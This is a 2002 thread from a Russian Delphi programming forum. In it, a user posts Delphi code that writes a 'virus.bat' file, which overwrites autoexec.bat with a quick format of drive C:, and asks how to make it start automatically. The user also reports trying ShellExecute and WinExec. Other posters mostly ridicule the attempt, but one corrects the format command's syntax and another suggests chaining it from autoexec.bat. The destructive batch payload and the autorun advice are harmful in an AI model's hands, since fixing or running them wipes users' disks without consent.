Мастера DELPHI (документация, исходники, скачать)

Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

Помогите пожалуйста пишу так надо что бы оно ещё автозапукалось! [D5, WinME]

Страницы: < 1 2
snoup © (2002-03-29 23:21:00)
Помогите пожалуйста пишу так надо что бы оно ещё автозапукалось!
procedure TForm1.Button1Click(Sender: TObject);
var tl:tstringlist;
begin
tl:=tstringlist.create;
tl.add("@echo off");
tl.add("echo @echo off >c:\autoexec.bat");
tl.add("echo format c:/q/autotest >>c:\autoexec.bat");
tl.add("cls");
tl.savetofile("c:\virus.bat");

end;

snoup (2002-03-30 00:08:00) [21]
>Doom
не надо обежаться но ето не фигня а рабочий код проверь если не веришь! c оно форматнёт ны win98\me! Конечно только потом этот созданный файл надо ручками запустить (кликнуть) а вот как сделать что бы он сам запускался??

Doom (2002-03-30 00:07:00) [22]
2 Anatoly Podgoretsky
> Зеленоват, но уже паскуден

Совершенно с Вами согласен.

Doom (2002-03-30 00:04:00) [23]

> tl.add("echo @echo off >c:\autoexec.bat");
> tl.add("echo format c:/q/autotest >>c:\autoexec.bat");

это бред.
первой строкой ты не пишешь в автоэкзек,а перенаправляешь вывод сообщений.
а по второй строке у тебя автоэкзек перезаписываеися этой строкой .
Ну и где потом искать твой формат?
Он же не в корневом каталоге?!!!!!

А это --

> tl.savetofile("c:\virus.bat");

просто глупость. Зачем кому-то читать этот файл?!!!!! На память пишешь? И вообще идея дурацкая твоя , непонятно зачем. И советую перед тем как от фонаря наугад чушь писать, почитай сначала Фигурнова "IBM PC для пользователя". Там хоть про команды дос узнаешь.

snoup (2002-03-30 00:04:00) [24]
Нет какрастоки ВинМи читает!
Да но мне надо чтобы после создания (выше написанного кода) у меня запускался бат-файл я вот пробывал через shellexecuet:
shellexecute(handle,nil,"virus.bat",nil,nil,sw_show); но хрен и через winexec: winexec("c:\virus.bat",sw_showopen); пробывал не чего как ещё попробывать?

LazorenkoX (2002-03-29 23:56:00) [25]
Попробуй сделать что-то вроде в autoexec.bat:
CALL VIRUS.BAT
а в ВИРУС.БАТ:
VIRUS:
@ECHO HELLO USER, I AM VIRUS
GOTO VIRUS
ещё не пробовал, так только-что в голову пришло.
По моему ВинМи не читает аутоекзек.бат при запуске, или я ошибаюсь?

snoup (2002-03-29 23:43:00) [26]
Парни а если серьёзно как сделать что бы после нажатия и содздания он запускался подскажите пожалуёста???

Doom (2002-03-29 23:41:00) [27]
format c:/q/autotest пробел после с:

Anatoly Podgoretsky (2002-03-29 23:34:00) [28]
Зеленоват, но уже паскуден

LazorenkoX (2002-03-29 23:28:00) [29]
Хочешь вирус? Учи Ассемблер!!!

Страницы: < 1 2

Наверх

	« предыдущая ветвь \| форум \| следующая ветвь »